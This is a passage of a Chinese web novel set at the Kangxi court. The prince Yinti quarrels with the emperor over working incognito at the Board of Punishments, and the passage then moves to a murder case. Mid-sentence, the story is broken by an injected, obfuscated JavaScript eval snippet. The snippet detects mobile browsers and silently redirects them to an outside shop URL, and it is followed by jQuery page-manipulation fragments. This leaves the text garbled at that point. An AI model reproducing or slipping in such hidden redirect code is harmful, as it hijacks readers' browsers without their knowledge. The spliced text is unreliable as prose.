再说经过这段时间的调整,胤禔自觉对前身记忆也了解得差不多,不能说和前身性子一模一样,也能大差不差,瞧见的次数最多的胤礽也没怀疑过嘛(胤礽:?)。
胤禔盘算清楚,放平心态,登时走路生风,昂首挺胸地迈入慈宁宫,请安问候行云流水,像是回到自家家般清闲自在。
就如胤禔想得那样,皇太后和嫔妃们都没觉得大皇子有何变化,看着还是过去那骄傲矜持。
还是胤礽,没忍住多瞅了他两眼。
皇太后见着两孩子,赶紧教他们两到跟前来说话:“保清,皇玛嬷听说你去刑部半天就破了个案子?”
胤禔瞪圆了眼,惊讶:“皇玛嬷怎么知道的——”
下一秒,他猛地转身瞧康熙帝:“汗阿玛,您怎么连这个都说?”
胤禔早就知道他捏假名,混入刑部队伍办案的事会被传到康熙帝跟前,却是没想到康熙帝竟是这般大嘴巴,事儿都没焐热就放出去,比起刑部食堂那帮八卦的衙役,他也没好到哪里去!
顶着儿子幽幽的目光,饶是康熙帝也有些承受不起。
康熙帝是会心虚的类型吗?他当然不是!康熙帝清了清嗓子,板起脸来反将一军:“你还好意思说,朕都还没找你算账。”
“又是给自己起个汉人假名,又是混入刑部队伍,你到底要做什么?要去刑部的话也不是这么去的,哪有皇子做这些事的?也不怕朝臣上奏弹劾你!”
22.第二十二章
康熙言辞严厉,满殿嫔妃若不是方才见着皇上炫耀的模样,恐怕也会被他这严厉的态度所惊吓。
饶是大多数嫔妃垂首敛容,一本正色,也有像荣妃和德妃这般心里好奇的,不动声色地将目光投向胤褆。
主要是这两日,三皇子和四皇子在她们面前频频提及大皇子之事,教两人的好奇心愈发强烈,倒要瞧瞧大皇子究竟能有何等厉害之处。
与众人的反应不同,皇太后看着严词厉色的康熙帝,面露焦急之色。她先是瞅了一眼康熙帝,又瞧了瞧胤褆,最后将求助的目光投向皇太子胤礽。
胤礽神色平和,轻轻拍了拍皇太后的手背,眼中满是笃定与自信。
皇太后见此,登时一愣,连忙转头看向胤褆。只见胤褆小脸一垮,面上是肉眼可见的不开心:“汗阿玛,您这是什么话?身为皇子,怎么就不能做这事了?”
这话一出,别说皇太后的眼睛睁得溜圆,看得愣神,刚刚还心平气和,吃瓜看戏的嫔妃们也惊得不敢作声。
一贯沉稳的德妃,此时竟连帕子都没握住,任由帕子轻轻落在脚边,愣是不敢动弹一下,思绪如惊涛骇浪翻滚不休。
大皇子莫不是疯了!?怎么敢这般与皇上说话的?
康熙帝眸色微微一沉,紧紧凝视着胤褆。偏偏胤褆并未露出一丝一缕的后怕之色,反而肉眼可见的满脸委屈:“儿臣身为汗阿玛的儿子,难道连到刑部当个司官的资格都没有吗?”
都没有吗?
没有吗?
胤褆的声音在慈宁宫内回荡,教康熙的表情瞬间凝固,脑袋愣是没转过弯,很难将两件事联系在一起。
还未等他思考出答案,胤褆又大声抱怨道:“儿臣可是听人说过的!刑部官员还能聘请自家的子侄、邻里同乡乃至徒弟到刑部协理办事,他们行,到儿臣这怎么就不行了?”
“弹劾弹劾弹劾。”
“儿臣办案用的是自己的能力,又没办什么冤假错案,有什么好弹劾的?”
殿内寂静无声,所有人都呆呆愣愣的,一屋子女眷几乎无人知道这些朝堂的事务,半响才悄声议论起来。
皇太后瞧着胤褆那委屈的模样,心疼不已。她连连示意胤褆到自己跟前来,一手揽着胤褆,一手轻拍胤褆的背脊,义愤填膺道:“就是就是,别人都行,咱们保清怎么不行?”
康熙帝气极反笑,瞪一眼胤褆却发现他正忙着依偎在皇太后怀里撒娇,更气了。
皇太后却是满意得很,紧紧抱着大孙子不撒手。她还惦记着胤褆刚刚所说的话,担忧地发问:“保清啊,你是不是在外面受委屈了?快告诉皇玛嬷,皇玛嬷给你出气!”
胤褆瞅了眼康熙帝,没吱声,眼里明晃晃的意思,直教康熙帝额头上都爆出青筋来。康熙帝的手指轻轻抽动着,只恨不得把这猖狂的小兔崽子揪过来,狠狠揍上一顿。
胤礽眼看情况不妙,连忙插话:“汗阿玛,您不知道吗?就因着胡主事要为大哥上荐功劳,刑部不少小吏和衙役都有意见——”
话还没说完,康熙帝就不乐意了。
别看他刚刚疾言厉色,那主要是为了敲打敲打儿子,免得胤褆翘尾巴,得意忘形后弄出冤假错案,倒是做了坏事。
至于其他,他嘴上没说,心里是满意的不得了,不然也不会得到消息的第一时间就到慈宁宫来炫耀炫耀,只差说一句胤褆肖朕也。
康熙帝护犊子的脾气瞬间压过刚刚的怒火,他面沉如水,沉声问道:“谁敢有意见?给他脸了!”
“就是就是。”皇太后帮腔。
“…………”下面的嫔妃瞅着莫名幼稚的场景,一时间都不晓得该说什么,附和吧也觉得奇奇怪怪,反驳吧……她们又不傻,一个个哼哼唧唧两下,就忽悠过去了。
“汗阿玛别急。”胤礽瞅了眼胤褆,眉眼弯了弯,索性好人做到底,把胤褆的雄心壮志尽数说给众人听:“大哥说——他要亲自动手,教那些人亲眼瞧瞧他的本事。”
“让他们发现他们说的话不是夸大其实,而是货真价实!让所有人都知道他就是天才!”
“…………”
殿内安安静静的,所有人皆是瞳孔地震。怎么形容这种感觉呢?这并非是面对远大志向时的震撼,而是种难以形容的感受。
仿佛尴尬的并非对方,反倒像是自己。
同样有此感受的还有胤褆。他明明记得自己先前描述的时候还是很正常的,可被胤礽这般掷地有声地说出口来,却莫名有种手脚都不知该往何处放的尴尬之感。
殿内安静了许久,最后还是胤褆率先开口。他仰起脸庞,若无其事道:“汗阿玛,胡主事已教训过那帮人,至于别的,儿臣自会让他们心服口服。”
康熙帝定定看着他,挑了挑眉。
良久以后他才缓缓道:“你还要以那个身份去刑部办案?”
胤褆正了脸色:“是。”
康熙帝凝视着胤褆:“若是做不出成绩来,往后你也不得去别处——这样,你也愿意?”
这样,岂不是把大皇子的将来也绑上了?殿内的气氛骤然凝滞,嫔妃们屏气凝神等着结论,就是惠妃也紧张起来。
皇太后蹙起眉梢:“皇帝——”
胤褆快皇太后一步,笑道:“儿臣愿意。”
也不知是谁倒抽了口凉气,殿内寂静无声。过了许久以后,康熙紧绷的脸庞骤然一松,悻悻然背起手:“记住你今天的话,往后莫要到朕跟前来哭求。”
胤褆:“…………哦。”
康熙帝酝酿一会,到底没舍得说句滚,抬手指着门口让他赶紧走。
不过胤褆还没迈开腿走出去,皇太后就不依了:“刚刚说好的,皇帝、保成和保清都得留下陪我用膳。”
康熙帝板着脸,却没能撑过三息时间,便捏着鼻子让胤褆留了下来。他留下儿子,可没打算再让嫔妃们观看八卦之事,索性教她们都退下了。
退出慈宁宫的嫔妃面面相觑,随后便四散离开,各自带着一肚子心事回到自己宫中。
荣妃坐在软榻上,一边接过婢女呈送上前的茶盏,一边抬起碗盖吹了吹,一边垂眸听着婢女料宫里的八卦,里面果然也有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732444|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大皇子把大福晋所出的两位格格抱回前院抚养的消息。
她轻抿了一口茶水,抬眸望去,目光越过窗户投向昏黄的天空。待婢女将今日的晚膳送上前,她方才收回目光,喃喃道:“真真是……”
无数话语在荣妃舌尖转了一圈,最后却是没吐出来。她抚了抚胸口,遮住眼里那一抹失望与遗憾,只留下三个字:“可惜了。”
与荣妃这般的嫔妃无数数,众人面对突如其来的变化都有些手足无措,与亲信商议半响也没得出个答案,终是决定先放下这事,静观其变。
那边,随着康熙帝应下胤褆的请求,刑部衙门名册里悄然多出名为殷镜观的九品司官来。
过了正路的胤褆精神抖擞,次日天蒙蒙亮便早早起身。他洗漱更衣,匆匆乘坐马车赶赴刑部点卯,思考着今日要做的事儿,心情雀跃。
然而,胤褆才刚刚走进衙门,他便感觉到周遭气氛古怪,无数道目光聚集在他的身上。
那些目光如细密的针尖,教他浑身不自在,可当他转身看去,那些目光又骤然消失,等胤褆转回身,那些目光又如影随形,再次环绕在四周。
胤褆蹙了蹙眉,很是不适,他确定他的身份并未披露,那为何这么多人盯着他?难不成是昨日胡主事的斥责没有生效,风言风语还是传开了?
胤褆心中带着疑问,面上却泰然自若地朝着办公处走去。只是他前脚刚刚迈进院门,便与狂奔而出的周主薄撞了个满怀。
胤褆身材高大,结实健壮,仅仅晃悠了两下便稳稳地站住,而身材单薄的周主薄就不行了,被撞得连连后退,险些一屁股坐在地上。
还好胤褆眼明手快,一把抓住他:“周主薄。”
“敬观?”周主薄站稳身体,闻言看去,大喜过望:“你来得正好!走走走!出事了!”
??????
胤褆想到刚刚的目光,心生猜测:“昨日的案子又出问题了?”
“不是不是,是孙主事出事了!”周主薄脸色不太好,拉着胤褆就往外走。
“孙主事?”胤褆记得昨日案子办完,孙主事却不知想起什么事来,说有急事后便率先离开刑部,直到他回宫都没有再出现。
“啊。”周主薄拉着胤褆狂奔而出,胤褆发现周遭的视线越发集中,几乎所有人都往他们这边看。
胤褆观察四周,心中生出不祥的预感。
周主薄一路上无心说事情,直到他拉着胤褆登上马车,咕咚咕咚喝了一大杯水,抹了抹嘴,这才开口说道:“孙主事昨日早退的事,你知道吧?”
“嗯,知道。”
“而后,有人见到他与另一人当街争吵。”
胤褆蹙了蹙眉,虽说官员当街争吵是有些不体面,但也不至于到出事的程度吧?
忽地,一道灵光闪过胤褆的脑海,他眉心紧蹙:“莫不是孙主事受了伤?”
“要是那样就好了……”周主薄摇摇头,苦笑一声:“昨日与孙主事争吵之人,今日早上被发现横死家中!”
胤褆腾地抬眸,震惊道:“死了!?”